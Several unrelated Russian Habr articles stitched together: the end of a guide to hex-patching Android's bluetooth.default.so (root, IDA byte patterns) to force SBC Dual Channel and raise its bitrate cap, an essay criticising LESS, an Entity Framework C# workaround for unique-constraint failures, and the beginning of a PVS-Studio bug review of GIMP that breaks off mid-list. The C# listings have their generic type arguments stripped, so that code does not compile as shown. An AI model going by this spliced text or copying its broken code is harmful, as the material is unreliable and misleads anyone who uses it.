Как уже сообщалось, кодек SBC принципиально не имеет ограничений по битрейту. Однако производители обычно ставят ограничение в 342 кбит/с для моно- и 345 кбит/с для стереосигнала с целью обспечения надёжной работы со всеми типами принимающих устройств.
При этом спецификация A2DP v1.2, которая была активна с 2007 по 2015 год, предписывает всем декодирующим устройствам корректно работать с битрейтами до 320 кбит/с для моно- и 512 кбит/с в случае стереосигнала.
В новой версии спецификации ограничение по битрейту отсутствует вообще. Предполагается, что современные наушники, выпущенные после 2015 года и поддерживающие EDR, могут поддерживать битрейты до 730 кбит/с.
По факту это конечно же не так. [В обширном исследовании](https://4pda.ru/forum/index.php?showtopic=914135), проведённом [ValdikSS](https://habr.com/users/valdikss/), было найдено, что практически все приёмные устройства надёжно работают со значениями битрейта 454 кбит/с, и достаточно большое количество – с битрейтом 507 кбит/с.
[В своих исследованиях](https://4pda.ru/forum/index.php?showtopic=914135&view=findpost&p=76185079) [ValdikSS](https://habr.com/users/valdikss/) также показал, что, вопреки расхожему мнению о качестве звука кодека aptX, на некоторых файлах он может давать результаты хуже, чем SBC со стандартным битрейтом в 328 кбит/с, а переключившись в высокобитрейтный SBC, Вы получите звук, зачастую превосходящий aptX, на любых наушниках.
[ValdikSS](https://habr.com/users/valdikss/) на основании этих данных направил замечания разработчикам Lineage OS и в Google, но на данный момент никакой реакции не последовало.
Таким образом, нам остаётся только вручную внести модификации в Bluetooth-стек.
Нам потребуется IDA Pro с возможностью декомпилирования ARM, любой HEX-редактор (я использовал WinHEX) и файл bluetooth.default.so с нашего устройства. Обычно он находится по пути /system/lib/hw и реже – ещё и по пути /system/lib64/hw (безусловно нужен рут-доступ).
Итак, открываем файл bluetooth.default.so Описанные ниже операции и модификации применимы только к оригинальному стеку Android (bluedroid). Если вы видите строку «Needed Library 'com.qualcomm.qti.bluetooth\_audio@1.0.so'» или подобную в IDA Pro, с большой вероятностью, эта инструкция вам не поможет.
Наша первая задача — заменить Joint Stereo на Dual Channel в стандартной конфигурации.
Работать мы будем с [функцией bta\_av\_build\_src\_cfg](https://android.googlesource.com/platform/external/bluetooth/bluedroid/+/master/btif/co/bta_av_co.c#390).
Чтобы отыскать эту процедуру в IDA, воспользуемся поиском [по строке характерного сообщения в журнал отладки «Cant parse src cap ret = %d»](https://android.googlesource.com/platform/external/bluetooth/bluedroid/+/master/btif/co/bta_av_co.c#402):
В итоге довольно быстро мы находим саму функцию в виде кода:
Наша задача – подменить исходную структуру проверок
```
if (src_cap.ch_mode & A2D_SBC_IE_CH_MD_JOINT)
pref_cap.ch_mode = A2D_SBC_IE_CH_MD_JOINT;
else if (src_cap.ch_mode & A2D_SBC_IE_CH_MD_STEREO)
pref_cap.ch_mode = A2D_SBC_IE_CH_MD_STEREO;
else if (src_cap.ch_mode & A2D_SBC_IE_CH_MD_DUAL)
pref_cap.ch_mode = A2D_SBC_IE_CH_MD_DUAL;
else if (src_cap.ch_mode & A2D_SBC_IE_CH_MD_MONO)
pref_cap.ch_mode = A2D_SBC_IE_CH_MD_MONO;
на
if (src_cap.ch_mode & A2D_SBC_IE_CH_MD_DUAL)
pref_cap.ch_mode = A2D_SBC_IE_CH_MD_DUAL;
else if (src_cap.ch_mode & A2D_SBC_IE_CH_MD_STEREO)
pref_cap.ch_mode = A2D_SBC_IE_CH_MD_STEREO;
else if (src_cap.ch_mode & A2D_SBC_IE_CH_MD_DUAL)
pref_cap.ch_mode = A2D_SBC_IE_CH_MD_DUAL;
else if (src_cap.ch_mode & A2D_SBC_IE_CH_MD_MONO)
pref_cap.ch_mode = A2D_SBC_IE_CH_MD_MONO;
```
Это можно сделать несколькими способами.
Первый – подмена инструкций TST.W R0, #1 на TST.W R0, #4 и MOVS R0, #1 на MOVS R0, #4 в последовательности проверок:
В байт-коде это замена х01 на х04. При этом важно отметить характерные последовательности байтов, по которым можно найти этот паттерн. Не углубляясь сильно в детали, скажу, что по сути это поиск последовательности
```
10 20 8D F8 04 00 9D F8 0D 00 10 F0 01 0F ?? ?? 10 F0 02 0F ?? ?? 10 F0 04 0F ?? ?? 10 F0 08 0F ?? ?? 08 20 ?? ?? 01 20 ?? ?? 02 20 ?? ?? 04 20
```
и её замена на
```
?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 04 ?? ?? ?? ?? ?? ?? ?? ?? ??
```
Однако у данного способа есть недостатки.
Ряд компиляторов меняют последовательность исполнения команд в зависимости от оптимизации. И в таком случае найти искомый паттерн не удаётся, а иногда механизм проверок в структуре вообще вносится в инлайн-код. Поэтому более надёжным является изменение константы [btif\_av\_sbc\_default\_config](https://android.googlesource.com/platform/external/bluetooth/bluedroid/+/master/btif/co/bta_av_co.c#99).
Для начала – найдём её. Она в самом начале нашей функции, ведь
```
void bta_av_build_src_cfg (UINT8 *p_pref_cfg, UINT8 *p_src_cap)
{
tA2D_SBC_CIE src_cap;
tA2D_SBC_CIE pref_cap;
UINT8 status = 0;
/* initialize it to default SBC configuration */
A2D_BldSbcInfo(AVDT_MEDIA_AUDIO, (tA2D_SBC_CIE *) &btif_av_sbc_default_config, p_pref_cfg);
/* now try to build a preferred one */
/* parse configuration */
if ((status = A2D_ParsSbcInfo(&src_cap, p_src_cap, TRUE)) != 0)
{
APPL_TRACE_DEBUG(" Cant parse src cap ret = %d", status);
```
А вот и она:
Видно, что сама btif\_av\_sbc\_default\_config представляет собой последовательность байт 20 01 10 04 01 35 02, при этом первый байт кодирует частоту дискретизации и может быть 10 (48 кГц) и 20 (44 кГц), а потому не специфичен. Таким образом наша задача – замена последовательности
`01 10 04 01 35 02`
на
`04 ?? ?? ?? ?? ??`
Это позволит изменить логику работы структуры аналогичным образом, но при этом оптимизации компилятора не доставят проблем.
В ряде случаев инициатором подключения выступают сами наушники или колонки. В этом случае режим определяется функцией [bta\_av\_co\_audio\_init](https://android.googlesource.com/platform/external/bluetooth/bluedroid/+/master/btif/co/bta_av_co.c#264).
Функция [характерна строкой «bta\_av\_co\_audio\_init: %d»](https://android.googlesource.com/platform/external/bluetooth/bluedroid/+/master/btif/co/bta_av_co.c#282) и легко отыскивается в коде:
Перечисление возможных режимов подключения выполняется в следующей команде:
```
switch (index)
{
case BTIF_SV_AV_AA_SBC_INDEX:
/* Set up for SBC codec for SRC*/
*p_codec_type = BTA_AV_CODEC_SBC;
/* This should not fail because we are using constants for parameters */
A2D_BldSbcInfo(AVDT_MEDIA_AUDIO, (tA2D_SBC_CIE *) &bta_av_co_sbc_caps, p_codec_info);
/* Codec is valid */
return TRUE;
```
при этом [константа bta\_av\_co\_sbc\_caps имеет следующую структуру](https://android.googlesource.com/platform/external/bluetooth/bluedroid/+/master/btif/co/bta_av_co.c#71):
```
const tA2D_SBC_CIE bta_av_co_sbc_caps =
{
(A2D_SBC_IE_SAMP_FREQ_44), /* samp_freq */
(A2D_SBC_IE_CH_MD_MONO | A2D_SBC_IE_CH_MD_STEREO | A2D_SBC_IE_CH_MD_JOINT | A2D_SBC_IE_CH_MD_DUAL), /* ch_mode */
(A2D_SBC_IE_BLOCKS_16 | A2D_SBC_IE_BLOCKS_12 | A2D_SBC_IE_BLOCKS_8 | A2D_SBC_IE_BLOCKS_4), /* block_len */
(A2D_SBC_IE_SUBBAND_4 | A2D_SBC_IE_SUBBAND_8), /* num_subbands */
(A2D_SBC_IE_ALLOC_MD_L | A2D_SBC_IE_ALLOC_MD_S), /* alloc_mthd */
BTA_AV_CO_SBC_MAX_BITPOOL, /* max_bitpool */
A2D_SBC_IE_MIN_BITPOOL /* min_bitpool */
};
```
Константа легко находится в коде, в моём случае она равна 20 0F F0 0C 03 35 02:
Обратите внимание на байт **0F** – он обеспечивает возможность подключения с любым из допустимых режимов, поскольку
```
x0F = A2D_SBC_IE_CH_MD_MONO | A2D_SBC_IE_CH_MD_STEREO | A2D_SBC_IE_CH_MD_JOINT | A2D_SBC_IE_CH_MD_DUAL = x08 | x02 | x01 | x04
```
Наша задача — изменить это значение таким образом:
```
x0F = A2D_SBC_IE_CH_MD_DUAL = x04
```
Следовательно, необходимо заменить
`?? 0F F0 0C 03 35 02`
на
`?? 04 ?? ?? ?? ?? ??`
Итак, мы заставили стек подключаться в режиме Dual Channel как в случае инициирования подключения устройством, так и в случае инициирования подключения принимающей сигнал стороной.
Теперь необходимо убрать ограничения в битрейте либо повысить его верхний порог.
Необходимо обработать [btif\_media\_task\_get\_sbc\_rate](https://android.googlesource.com/platform/external/bluetooth/bluedroid/+/master/btif/src/btif_media_task.c#651). Аналогичным образом по поиску [характерной строки «non-edr a2dp sink detected, restrict rate to %d»](https://android.googlesource.com/platform/external/bluetooth/bluedroid/+/master/btif/src/btif_media_task.c#651) отыскиваем функцию в коде:
Ограничение битрейта выражается в строке
UINT16 rate = DEFAULT\_SBC\_BITRATE (что в свою очередь [равно 328 кбит/с](https://android.googlesource.com/platform/external/bluetooth/bluedroid/+/master/btif/src/btif_media_task.c#172))
В коде это так:
Изменим это значение на 454 кбит/с – это выше стандартного и работает с подавляющим большинством приёмных устройств. Для этого заменим байты
`B1 4F F4 A4 74 ?? E0`
на
`?? ?? ?? E3 ?? ?? ??`
Также следует выполнить поиск по паттерну
`E0 4F F4 A4 74 ?? E0`
и заменить его на
`?? ?? ?? E3 ?? ?? ??`
— это требуется для ряда устройств.
Значение Е3 может быть другим в зависимости от желаемое максимального битрейта:
* E3 – 454 кбит/с
* F1 – 482 кбит /с
* F3 – 486 кбит/с
* 10 – 576 кбит/с
* 48 – без ограничений
В целом, это определяется байт-кодом операции MOV.W R4, XXX.
На практике стоит поэкспериментировать и выбрать максимальное значение, при котором во всех Ваших принимающих устройствах происходит стабильный приём сигнала, отсутствует треск, прерывания и искажения.
На всех приёмниках в моём эксперименте (выше я их указал) таким значением было 576 кбит/с, в качестве источника сигнала выступал телефон Xiaomi Redmi 4x MIUI10 Android 7.1.
На основе описанных действий был создан дженерик-патч, который находит указанные паттерны в Bluetooth.default.so и заменяет их? включая принудительно режим Dual Channel и устанавливая лимит битрейта в 454 кбит/с. При необходимости, значение лимита может быть легко изменено на основании поиска и замены соответствующего байта — внимательный читатель сделает это без труда.
Подчёркиваю: патч работает только в случае bluedroid-стека и скорее всего не будет успешным в случае стека Fluoride и версии Android 8 и новее.
Патч можно скачать [отсюда](https://www66.zippyshare.com/v/KTyvfawz/file.html).
Замену оригинального файла настоятельно рекомендуется выполнять в виде модулей Magisk, для себя я это сделал [следующим образом](https://www43.zippyshare.com/v/RfnKuRtq/file.html). **Обратите внимание**: данные модули сделаны мной для телефона Xiaomi Redmi 4x 3/32 Гб с актуальной на момент написания статьи стоковой глобальной стабильной прошивкой MIUI 10. В Вашем случае файл bluetooth.default.so придётся заменить на свой собственный, пропатченный, как описано выше. Возможно также, что файл придётся продублировать по пути /system/lib64/hw — это зависит от модели и версии прошивки Вашего телефона.
Данный подход с использованием модулей Magisk позволяет легко изменять максимальный битрейт и вообще отключать изменения, если окажется, что какое-то из принимающих устройств не поддерживает Dual Channel.
Заключение
----------
В настоящий момент в погоне за продажами многие компании подают некоторые технологические новинки как обоснование более высокой цены.
На практике оказывается, что уже имеющиеся, более дешёвые технологии не до конца развиты, а технологические новинки – не до конца внедрены, что значительным образом сказывается на качестве.
Очень часто пользователи испытывают «эффект плацебо», убеждая себя в совершенстве того или иного продукта только потому, что он новее или более красочно преподнесён. По факту, это качество оказывается мнимым.
Несмотря на очевидное ухудшение качества беспроводной передачи звука по сравнению с проводным вариантом, по-видимому, современные производители устройств нацелены на полный переход к беспроводным технологиям. При этом для обоснования повышения цены используются маркетинговые уловки: защита от погружения в воду телефона (как можно разговаривать под водой? зачем ронять устройство в воду?), использование более дорогих кодеков и т.д. При этом потенциал имеющегося популярного кодека SBC до конца не освоен.
Нам не удалось ни получить разъяснений от Google касательно лимита битрейта в 328 кбит/с, ни добиться устранения этого лимита и добавления опции включения Dual Channel в меню Bluetooth от разработчиков Lineage OS.
Спасибо всем, кто дочитал до конца!
Некоторое продолжение, вызванное обсуждением в комментариях и пробелом в отношении кодека LDAC, находится [здесь](https://habr.com/post/433724/).
 | https://habr.com/ru/post/433502/ | null | ru | null |
# LESS? — мнение обывателя-верстальщика или дизайнера со стажем
Приветствую всех! Меня зовут Сергей, я живу в Самаре, мне 37 и я бородат, но только тогда, когда сила созидания побеждает во мне все остальные физиологические процессы… Сегодня я поделюсь с вами своим опытом практического использования LESS. Что уж говорить, LESS моден и, как известно, в IT среде используется всеми, кому не лень… иногда даже вопреки здравому смыслу.
Что же такое LESS? Less — язык! Но язык ли это? Говоря словами обывателя-верстальщика: пишем некий код, компилируем его, а на выходе получаем все тот же **CSS**.
… и тут мне почему-то сразу вспомнилось выражение коллеги-программиста Феди, с которым мы в шутку каждый раз испытываем мировоззрения друг друга. Так вот, он говорил: «Долой рюшечки! Вперед функционал!» Понятно, что для дизайнера эти слова — просто «ножом по сердцу».
*Но мы немного отвлеклись и, в общем, суть не в этом*.
##### Итак, Less.
**Less расширяет возможности CSS**, поскольку позволяет задавать переменные, примешивания и т.д.
**– Так?**
Ну, то есть каждый сейчас согласился со мной?
… так и слышу миллионный хор.
Но по факту решение имеет и минусы.
Многие сторонники языка говорят, например, о таком использовании.
**Пример:**
Less
Задаем переменную цвета:
```
@base_color: #ccc;
```
Дальше используем ее в элементах:
```
p {
color: @base_color;
}
span {
background-color: @base_color;
}
```
С точки зрения сторонников языка это удобно: чтобы поменять цвет всех элементов — изменил цвет в одном месте — и все.
**С моей точки зрения — очень спорно:**
* Во-первых, как уже ранее говорил, банально — чтобы изменить цвет уже существующего элемента нужно найти элемент, который нужно поправить, затем найти ту переменную, к которой уже присвоен сам цвет. И таких переменных может быть десяток, и они могут быть все в разных, отдельно подключаемых файлах, число которых, как вы понимаете, также может исчисляться десятками.
* Во-вторых, аргумент сторонников о том, что удобно: «Изменил в одном месте — поправил все кнопки!» — это для людей, которые не знают или забыли, что такое пакетный реплэйс! Проще, быстрее и надежней найти сразу цвет #ccc и сделать «Replace All».
* Еще есть мнимое «удобство» less в том, что легко поменять цвет путем сложения или вычитания прямо в коде, но это опять же в кавычках — поскольку если у человека под рукой графический редактор + если он давно занимается версткой и знает наизусть основные коды цветов — ему не нужно ничего прибавлять или убавлять — он сразу прописывает код.
##### Казалось бы, плюсы?
Вот где действительно есть плюсы (как мне изначально показалось), так это в примешивании, когда в одну переменную задается огромное количество параметров (например, вендорные свойства а-ля
```
-webkit-border-radius
```
...), а потом эта переменная включается-примешивается внутрь используемых элементов — сильно сокращается код.
Но задам вам вопрос: **зачем сокращать код, когда он все-равно компилируясь раскрывается и развертывается до разобранного CSS-состояния?** По факту получаем некую прослойку (иногда состоящую из множества файлов) непонятно для чего, которая тормозит поиск параметра, а на окончательный вид кода никак не влияет.
По-настоящему эффективен less может быть если год-два проводить общий рефакторинг кода, тогда да — наверное имеет смысл… Но даже тогда, на первый взгляд настоящие плюсы — на поверку, всего лишь фикция и трата драгоценного времени… Спросите, почему?
**Ответ:** потому что это не полноценный язык и на выходе мы получаем все те же громоздкие конструкции CSS. То есть как бы мы не пытались сократить или оптимизировать — оптимизируем только прослойку.
Возможно Less вообще — маркетинговый ход, модный тренд, некий тайный сговор для раскрутки языка — часто слышу от программистов (*некоторых программистов*), что использование less — это банальная заточка проекта под программерское абстрактное мышление. Хотя чем программерское абстрактное мышление отличается от вообще абстрактного мышления или чем лучше оно от абстрактного мышления верстальщика / дизайнера — **великая тайна, покрытая мраком**.
##### Как теперь я обозначаю для себя LESS
— инструмент, призванный облегчить работу программиста, если он не умеет верстать. Для верстальщика же — это равносильно: как для бегуна одеть вместо кроссовок калоши, ничего что постоянно слетают, зато не мокро.
*Все, изложенное выше — просто мое мнение, не имеет под собой умысла как-то вмешиваться в процесс разработки фанатов своего дела.
Просто хотелось поделиться своими дизайнерскими буднями, надеюсь, не утомил.* | https://habr.com/ru/post/233467/ | null | ru | null |
# О некоторых неочевидных хаках при работе с entity framework и unique constraints
Пару лет назад, когда деревья были большие и зеленые, ~~ко мне пришли злые дотнетчики, и сказали — ага, попался!~~ пришлось мне помочь коллегам в одном весьма странном проекте.
А именно — представьте себе пачку *цифирей*, которые аналитики составляют раз в месяц, в любимом ими пакете MS Office. И вот раз в месяц появилась необходимость эти цифры пережевывать и загружать в БД под управлением MS SQL.
И конечно же — этот мега-тул надо было сделать быстро. Чтобы потом передать на суппорт дешевым то ли малайцам, то ли индусам. Так что еще и рекомендовалось делать максимально понятно.
#### Как начали решать задачу
Злые дотнетчики решили упростить себе жизнь — не составлять же insert into руками, если в соответствующем отчете колонок столько, что имена им эксель дает трехбуквенные. А в древней БД огромная стопка таблиц, в некоторых из которых количество колонок просто потрясает воображение.
Поэтому, было сделано так — БД подсунули вижуалстудии, и получили огромную портянку кода для entity framework. Вместо пиления лобзиком и составления prepared statement с сотней вопросиков в values(...) — обычное заполнение entity objects с последующим context.SaveChanges().
*Замечу — правильное решение. А premature optimizations как известно — зло.*
#### На что наступили с таким подходом
*Чую запах горелого. Срочно бегу на кухню, вынимаю мясо из латки. Обрезаю горелое двуручным мечом и тут же проглатываю, так как Уголек врывается в комнату. Горячо! Но изображаю.
— Что это, Мастер?
— Парная китятина. Последний писк моды!
— Не заливай — про моду ты знаешь только из словаря, — пробует. — Хотя действительно вкусно!*
Гладко было на бумаге… Unique constraints далеко не все циферки соглашались кушать.
Потрясающий факт — если entity framework получает database level exception, то ~~становится в позу бегущий кабан~~ по рекомендации микрософта у нас есть только один путь — этот контекст пристрелить и создать следующий. В данном случае это означает, что надо master из старого контекста вытащить, или пересоздать, и желательно не копированием всех полей в catch().
И конечно же чтобы было интереснее — объекты из разных контекстов смешивать нельзя.
Подпорка с пересозданием во многих случаях оказалась нетривиальной, да и как эти хаки будут поддерживать малайцы — большой вопрос.
И вот в этот момент ~~эти злыдни принесли утюг и паяльник!~~ дошли до меня.
#### Что пришлось сделать
*Карапет возмущен.
— Вредины! Просили энергии сто килограмм, а ухнули сколько! Ты мне так и скажи — надо много, зачем обманывать Карапета? Мне же не жалко, надо пять тонн — так и скажи, Карапет, дай нам пять тонн… Вредины они вредины и есть!*
Как выяснилось, сущности CancelChanges в entity framework не предусмотрено. А ее наличие дало бы шанс не усложнять.
Как легко догадаться, пришлось изобрести.
Для начала, определяем подход — пошарить по контексту, и выловить тот самый ~~больной зуб~~ элемент, который приводит к такому печальному результату. И — выкинуть его из контекста. Данные конечно от этого в БД не появятся — но контекст останется рабочим, что нам и требуется. А с кривыми данными пусть аналитики разбираются, наша задача написать им — где такое нашлось.
##### Куды ложить?
*— Афа, возьми себя в руки!
Обхватываю себя руками, отрываюсь от пола на биогравах.
— Взял. Куды ложить?*
В примерах я сосредоточился для insertions как наиболее неочевидных. Аналогичным образом разбирается и update. Я не привожу портянку, так как она мало чем отличается от вышеприведенной, да и отслеживать updates проще. Delete у нас как раз нету — это ж паранойя товарищей банкиров, как это из БД что-то удалить? Ни-ни!
Покурив мануалы и как следует погуглив, определим такую структурку данных:
```
class MyEntry
{
public EntityObject entity; // entity object, натурально
public string name; // имя в терминах EF
public Dictionary refmap; // foreign keys - имя - значение, если есть
// А вот эти коллекции нужны если мы значение FK из контекста получить не можем
public Dictionary objmap; // собственно объекты
public Dictionary keymap; // и имена этих объектов
public MyEntry(string s, EntityObject o)
{
entity = o;
name = s;
refmap = new Dictionary();
objmap = new Dictionary();
keymap = new Dictionary();
}
}
```
Теперь мы можем заняться магией. Вот так определяется — что было добавлено в контекст после последнего SaveChanges():
```
// t это derived class от EntityContext
var added = t.ObjectStateManager.GetObjectStateEntries(EntityState.Added);
```
так что мы теперь можем определить — что это такое было, и переложить себе для детального разбирательства. Примерно так.
```
List allDataToProceed = new List(); // список объектов для анализа
foreach (var a in added)
{
// у EF в контексте есть еще и отношения как отд. сущность
// а они нам не нужны
if (!(a.IsRelationship))
{
// тут понятно - запоминаем нечто вроде "Foo", Foo a
MyEntry e = new MyEntry(a.EntitySet.Name, a.Entity);
allDataToProceed.Add(e);
// а теперь можно собрать foreign keys к нашему объекту
IEnumerable relEnds =
((IEntityWithRelationships)a.Entity).RelationshipManager.GetAllRelatedEnds();
foreach (var rel in relEnds)
{
// вот тут будет список FKs
List fks = new List();
foreach (var obj in rel)
fks.Add((EntityObject)obj);
// этот список собрали и даже как связь называется - нашли
var relname = rel.RelationshipName;
if (fks.Count == 1)
{
// нам повезло - значения ключа в наличии, просто запомним
if (fks[0].EntityKey.EntityKeyValues != null)
e.refmap[relname] = fks[0].EntityKey;
else
{
// а тут другой случай - ключей нету,
// нам их надо собрать. Случай - к примеру
// добавлен мастер к нашему слейву
// и запомнить нам надо и как FK зовут и его содержимое
e.keymap[fks[0]] = fks[0].EntityKey.EntitySetName;
e.objmap[relname] = fks[0];
}
}
}
}
}
```
Осталось собственно дело за малым — вернуть контекст к жизни
```
// Из контекста удаляем все что зависло
foreach (var a1 in added)
a1.Delete();
t.SaveChanges();
```
и приступить к сеансу экзорцизма — а что это у нас тут такое странное приползло, и главное — куда его девать.
##### Не дома тоже не ори
*От давления лопается экран. Беру веник и собираю осколки — я же руководитель экспедиции. Угол что-то хочет сказать — какой у него писклявый голос на глубине в три километра. Говорю ему
— Дома не ори.
Подумав, добавляю
— И не дома тоже не ори.*
Первое что нам надо сделать — это учесть foreign keys. Если какой-либо объект создан как часть цепочки master-slave — то не надо master и slave складывать по отдельности, а то так и referral integrity сломать можно.
```
// Нам надо проигнорить те объекты которые у нас добавятся по FK
// а то попытаемся добавить два раза
List usedInRefs = new List();
foreach (var a1 in allDataToProceed)
{
foreach (var dup in a1.objmap.Values)
usedInRefs.Add(dup);
}
// собственно удаляем
for (int j = 0; j < allDataToProceed.Count; ++j)
{
if (usedInRefs.Contains(allDataToProceed[j].entity))
{
allDataToProceed.RemoveAt(j);
--j;
}
}
```
И наконец дело за малым — осталось запихать в БД то что можно запихнуть. Для этого восстанавливаем нашей копии foreign keys и добавляем в контекст. Удалось? отлично, нет — значит это и есть наш больной зуб.
```
// из того что выгребли - пробуем закинуть в БД поштучно
foreach (var a1 in allDataToProceed)
{
try
{
// не забываем восстановить FKs для master/slave
IEnumerable relEnds =
((IEntityWithRelationships)a1.entity).RelationshipManager.GetAllRelatedEnds();
foreach (var rel in relEnds)
{
var relname = rel.RelationshipName;
EntityKey key = null;
// если у нас есть ключ и его значение от EF
// то мы собственно объект из контекста и берем
if (a1.refmap.ContainsKey(relname)) key = a1.refmap[relname];
EntityObject o = key != null ? o = (EntityObject)t.GetObjectByKey(key) : null;
// А если не нашли - то значит это случсай добавления
// master/slave одновременно
if (o == null && a1.objmap.ContainsKey(relname))
{
o = a1.objmap[relname];
if (a1.keymap.ContainsKey(o)) t.AddObject(a1.keymap[o], o);
else o = null;
}
// если его нашли - то восстанавливаем связь
if (o != null) rel.Add(o);
}
// теперь можно просто добавить в БД
t.AddObject(a1.name, a1.entity);
t.SaveChanges();
}
catch (Exception e2)
{
// добавить именно этот объект нам не удалось - но мы его нашли
// очистим контекст от неудачной попытки
added = t.ObjectStateManager.GetObjectStateEntries(EntityState.Added);
foreach (var a2 in added) a2.Delete();
// и можем что-то с этим уже сделать, хотя бы в лог записать
}
}
```
Вуаля. *We did it!*
Возможно, этот подход окажется кому-нибудь полезным. | https://habr.com/ru/post/160897/ | null | ru | null |
# Проверяем исходный код GIMP с помощью PVS-Studio
Чтобы проверить GIMP, для начала нужно научиться его компилировать. Это непростая задача, из-за которой поверка несколько раз откладывалась. Однако, проект известный, и интересно оценить качество исходного кода. Поэтому лень была побеждена, и проект проанализирован.
GIMP
----
Мне не нравится интерфейс [GIMP](http://www.gimp.org/), хотя иногда я использую этот графический редактор. Нет смысла покупать Photoshop только для того, чтобы несколько раз в месяц адаптировать картинку с единорогом для очередной статьи. Программ Paint и GIMP мне более чем достаточно.
Можно сказать, что я не достаточно профессиональный пользователь, чтобы судить об удобстве. Однако, чтобы утверждать, что на стуле неудобно сидеть из-за торчащих гвоздей, вовсе не обязательно быть плотником или экспертом по мебели. Я могу перечислить ряд недоделок в GIMP, которые мне мешают. Например, при открытии файла нельзя вставить полный путь до файла в поле Location, если путь содержит буквы на русском языке. Таких недочётов много.
Будучи знакомым с корявым интерфейсом GIMP, я ожидал, что в коде я найду много ляпов. Я ошибался. Оказывается, разработчики уже применяют статический анализ в своей работе. Причем, используют тяжёлую артиллерию. Применяется один из самых мощных статических анализаторов — Coverity.
О том, что используется Coverity, я сужу по упоминаниям в интернете:
*Проект Coverity, организованный при поддержке американского правительства и занимающийся поиском ошибок в программах с открытым кодом, сообщает, что в список проверяемых проектов войдут около 100 приложений для работы с графикой, в числе которых популярные Scribus, GIMP, Inkscape, Krita, Blender и многие другие (из публикации в 2007 году).*
Результаты проверки
-------------------
Давайте посмотрим, что можно найти в коде GIMP после Coverity. Анализ был выполнен с помощью [PVS-Studio](http://www.viva64.com/ru/pvs-studio/) версии 5.18.
**Фрагмент N1-N3**
```
typedef double gdouble;
GimpBlob *
gimp_blob_square (gdouble xc,
gdouble yc,
gdouble xp,
gdouble yp,
gdouble xq,
gdouble yq)
{
GimpBlobPoint points[4];
/* Make sure we order points ccw */
if (xp * yq - yq * xp < 0)
{
xq = -xq;
yq = -yq;
}
....
}
```
Предупреждение PVS-Studio: V501 There are identical sub-expressions to the left and to the right of the '-' operator: xp \* yq — yq \* xp gimpink-blob.c 162
Выражение «xp \* yq — yq \* xp» очень странное. Значение «xp\*yq» вычитается само из себя.
Идентичные проверки можно найти чуть ниже в этом файле. Строки: 195 и 278.
**Фрагмент N4**
```
gint64 gimp_g_value_get_memsize (GValue *value)
{
....
GimpArray *array = g_value_get_boxed (value);
if (array)
memsize += (sizeof (GimpArray) +
array->static_data ? 0 : array->length);
....
}
```
Предупреждение PVS-Studio: V502 Perhaps the '?:' operator works in a different way than it was expected. The '?:' operator has a lower priority than the '+' operator. gimp-utils.c 233
Путаница в приоритетах операторов. К размеру некого объекта нужно прибавить 0 или «array->length». Но приоритет оператора '+' выше, чем оператора '?:'. Выражение работает следующим образом:
```
memsize += ((sizeof (GimpArray) + array->static_data) ?
0 : array->length);
```
Возможно, программист знал об этом, поэтому использовал скобки. Но тогда, скобки стоят не на своём месте. Правильный вариант:
```
memsize += sizeof (GimpArray) +
(array->static_data ? 0 : array->length);
```
**Фрагмент N5, N6**
```
#define cmsFLAGS_NOOPTIMIZE 0x0100
#define cmsFLAGS_BLACKPOINTCOMPENSATION 0x2000
static void
lcms_layers_transform_rgb (...., gboolean bpc)
{
....
transform = cmsCreateTransform (
src_profile, lcms_format,
dest_profile, lcms_format,
intent,
cmsFLAGS_NOOPTIMIZE |
bpc ? cmsFLAGS_BLACKPOINTCOMPENSATION : 0);
....
}
```
Предупреждение PVS-Studio: V502 Perhaps the '?:' operator works in a different way than it was expected. The '?:' operator has a lower priority than the '|' operator. lcms.c 1016
В зависимости от переменной 'bpc' в функцию требуется передать флаг «cmsFLAGS\_BLACKPOINTCOMPENSATION» или сочетание флагов «cmsFLAGS\_BLACKPOINTCOMPENSATION | cmsFLAGS\_NOOPTIMIZE».
Приоритет оператора '|' выше, чем приоритет тернарного оператора '?:'. В результате, условием для оператора '?:' является выражение «cmsFLAGS\_NOOPTIMIZE | bpc». Это условие всегда истинно. В функцию всегда передаётся флаг cmsFLAGS\_BLACKPOINTCOMPENSATION.
Правильный вариант:
```
transform = cmsCreateTransform (
src_profile, lcms_format,
dest_profile, lcms_format,
intent,
cmsFLAGS_NOOPTIMIZE |
(bpc ? cmsFLAGS_BLACKPOINTCOMPENSATION : 0));
```
Аналогичную ошибку можно найти здесь: lcms.c 1016.
**Фрагмент N7**
```
static gint load_resource_lrfx (....)
{
....
else if (memcmp (effectname, "oglw", 4) == 0) <<<===
....
else if (memcmp (effectname, "iglw", 4) == 0)
....
else if (memcmp (effectname, "oglw", 4) == 0) <<<===
....
else if (memcmp (effectname, "bevl", 4) == 0)
....
}
```
Предупреждение PVS-Studio: V517 The use of 'if (A) {...} else if (A) {...}' pattern was detected. There is a probability of logical error presence. Check lines: 602, 688. psd-layer-res-load.c 602
Два одинаковых условия в последовательности if-elseif-elseif-…
**Фрагмент N8**
```
void
gimp_text_get_transformation (GimpText *text,
GimpMatrix3 *matrix)
{
g_return_if_fail (GIMP_IS_TEXT (text));
g_return_if_fail (matrix != NULL);
matrix->coeff[0][0] = text->transformation.coeff[0][0];
matrix->coeff[0][1] = text->transformation.coeff[0][1];
matrix->coeff[0][2] = text->offset_x;
matrix->coeff[1][0] = text->transformation.coeff[1][0];
matrix->coeff[1][1] = text->transformation.coeff[1][1];
matrix->coeff[1][2] = text->offset_y;
matrix->coeff[2][0] = 0.0;
matrix->coeff[2][1] = 0.0;
matrix->coeff[2][1] = 1.0; <<<===
}
```
Предупреждение PVS-Studio: V519 The 'matrix->coeff[2][1]' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 567, 568. gimptext.c 568
[Эффект последней строки](http://www.viva64.com/ru/b/0260/). В самом конце, используется неправильный индекс. Должно быть:
```
matrix->coeff[2][0] = 0.0;
matrix->coeff[2][1] = 0.0;
matrix->coeff[2][2] = 1.0;
```
**Фрагмент N9**
```
static void warp_one (....)
{
....
if (first_time)
gimp_pixel_rgn_init (&dest_rgn,
new, x1, y1, (x2 - x1), (y2 - y1),
TRUE, TRUE);
else
gimp_pixel_rgn_init (&dest_rgn,
new, x1, y1, (x2 - x1), (y2 - y1),
TRUE, TRUE);
....
}
```
Предупреждение PVS-Studio: V523 The 'then' statement is equivalent to the 'else' statement. warp.c 1366
Подозрительно, что независимо от условия выполняется одно и то же действие.
**Фрагмент N10, N11, N12**
```
